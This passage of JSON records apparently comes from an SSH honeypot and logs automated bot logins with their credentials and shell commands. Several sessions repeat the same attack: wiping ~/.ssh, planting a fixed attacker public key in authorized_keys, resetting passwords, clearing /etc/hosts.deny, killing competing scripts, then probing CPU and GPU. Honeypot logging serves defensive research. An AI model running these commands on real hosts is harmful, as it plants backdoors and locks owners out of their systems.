'"},{"seq":6,"at":"2026-08-27T12:28:43.659032+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:28:43.865607+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:28:43.866052+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:28:44.073081+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:28:44.073799+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:28:44.281856+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:28:44.282425+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:28:44.491013+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:28:44.500535+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"node","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"9f3ecd1c-7a69-44d7-a173-9417aa543899","name":"wiry-kindly-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":41066,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:28:34.705551+00:00","ended_at":"2026-08-27T12:28:36.644016+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e78db84f-61db-418f-aa82-338a894d3258","name":"crimson-quartz-wallaby","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":41054,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:28:30.992723+00:00","ended_at":"2026-08-27T12:28:33.061112+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"046b6074-3b9c-4437-be5f-664598711280","name":"foggy-snowy-galago","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42818,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:40.954237+00:00","ended_at":"2026-08-27T12:27:41.855899+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T12:27:17.191596+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:17.518108+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:22.303863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.046967+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:24.374051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:27:24.703732+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n37SIzpu3D2V8\\n37SIzpu3D2V8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:27:25.028051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:25.809039+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:27:26.251363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:27:26.563199+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:27:26.889493+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:27:28.786055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.382731+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:27:31.195557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:27:31.525299+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:27:32.363408+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:27:32.695741+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:27:33.577777+00:00","kind":"output","latency_ms":null,"data":" 12:27:33 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:27:33.903906+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:27:34.513166+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:27:34.844312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:27:35.440880+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:27:35.778928+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:27:36.393388+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:36 up 7 days, 9:17, 0 user, load average: 0.34, 0.31, 0.24\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:27:36.728878+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:27:37.340783+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:27:37.982692+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:27:38.345283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:27:38.679954+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:27:39.129321+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":31,"at":"2026-08-27T12:27:39.456997+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:27:40.625308+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:27:40.955122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:27:41.758339+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1047406f-7e04-4b83-9acb-2aca205290c8","name":"regal-polar-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:37.812022+00:00","ended_at":"2026-08-27T12:27:39.366564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:27:20.408389+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:27:20.672951+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:27:24.515547+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:27:24.785001+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:27:25.051223+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zdj3YVHqbhzk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:27:25.315680+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:27:25.581459+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:26.127017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:26.392389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:27.770557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:28.036924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:29.036110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:29.302491+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:29.690707+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:29.955923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:30.571969+00:00","kind":"output","latency_ms":null,"data":" 12:27:30 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:30.839928+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:31.093420+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:31.360889+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:31.946997+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:32.212354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:32.885729+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:32 up 7 days, 9:17, 0 user, load average: 0.08, 0.09, 0.06\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:33.152061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:33.863767+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:34.130267+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:35.023325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:35.295092+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:35.991837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:27:36.261889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:37.547105+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:37.812828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:39.290165+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lai123456","method":"password","accepted":true,"tier":"other"}]} {"id":"7f977971-69f4-4ae9-884a-f8be46307eba","name":"drifting-forlorn-teal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51178,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:22.943577+00:00","ended_at":"2026-08-27T12:27:24.437268+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c63f30a5-589e-464b-a6b8-d2683c8bdc01","name":"hushed-crystal-owl","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51174,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:21.268757+00:00","ended_at":"2026-08-27T12:27:22.426865+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"22892b3d-d131-484e-917f-862a3ce159ef","name":"graceful-vivid-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55848,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:20.268770+00:00","ended_at":"2026-08-27T12:27:22.206557+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kd","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"07a8b002-e46c-4c82-8a4e-a0dd06cf8cd0","name":"autumn-buoyant-harrier","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42824,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:27:18.578573+00:00","ended_at":"2026-08-27T12:27:19.616724+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"25d66104-34c2-4c5f-ade7-028a24f97cd8","name":"flinty-wistful-starling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":37032,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:13.056486+00:00","ended_at":"2026-08-27T12:27:14.294599+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:26:54.052133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:26:54.347633+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:26:57.889376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:26:58.677257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:26:58.973162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:26:59.269061+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:26:59.563492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:00.127825+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:00.426021+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:01.305013+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:01.601756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:02.859672+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:03.159084+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:04.060764+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:04.356657+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:05.136090+00:00","kind":"output","latency_ms":null,"data":" 12:27:05 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:05.431946+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:06.229037+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:06.524628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:06.822629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:07.119443+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:07.846168+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:07 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:08.143355+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:08.899574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:09.196236+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:10.070437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:10.365966+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:11.181643+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:27:11.478779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:12.757429+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:13.058328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:14.207379+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"d3423258-f40a-42c6-bf9a-bd07fb05eb64","name":"dapper-fickle-antelope","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":49350,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:56.921523+00:00","ended_at":"2026-08-27T12:26:57.801895+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sklep","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f807a9dc-0371-4075-a8ef-0fd14b1e7c83","name":"jaunty-arctic-tanager","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":37044,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:55.031586+00:00","ended_at":"2026-08-27T12:26:56.342637+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"968341c1-d34d-4470-806b-cb94fa62108f","name":"languid-ivory-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59630,"username":"zsolt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":444,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:26:45.087105+00:00","ended_at":"2026-08-27T12:26:46.215932+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:26:24.774838+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:26:25.211042+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:26:29.567756+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:26:30.337055+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:26:30.784859+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zsolt\\npRqX1AxBAnER\\npRqX1AxBAnER\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:26:31.223777+00:00","kind":"input","latency_ms":null,"data":"echo \"zsolt\\npRqX1AxBAnER\\npRqX1AxBAnER\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:26:31.665485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:26:32.557030+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 